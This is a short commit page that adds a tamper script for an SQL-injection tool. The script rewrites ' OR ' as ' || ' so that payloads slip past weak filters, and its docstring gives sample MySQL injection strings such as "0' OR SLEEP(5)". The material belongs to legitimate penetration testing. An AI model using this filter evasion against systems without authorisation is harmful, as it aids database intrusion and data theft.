Create or2logicaloroperator.py

Added tamper script or2logicaloroperator
This commit is contained in:
Anonymous ethc4 2025-07-12 07:00:06 -04:00 committed by GitHub
parent 12594c2dc7
commit 4d8cbece45
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,29 @@
#!/usr/bin/env python3
"""
Tamper script to replace logical OR with double pipe (||)
Useful for evading weak filters that blacklist 'OR'
Author: relunsec
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
"""
Replaces instances of logical OR with || operator
Example:
Input: 1 OR 1=1
Output: 1 || 1=1
Requirement:
* MySQL
>>> tamper("0' OR SLEEP(5)")
"0' || SLEEP(5)"
"""
if payload:
# Replace only ' OR ' (with spaces) to avoid breaking string literals
payload = payload.replace(" OR ", " || ")
return payload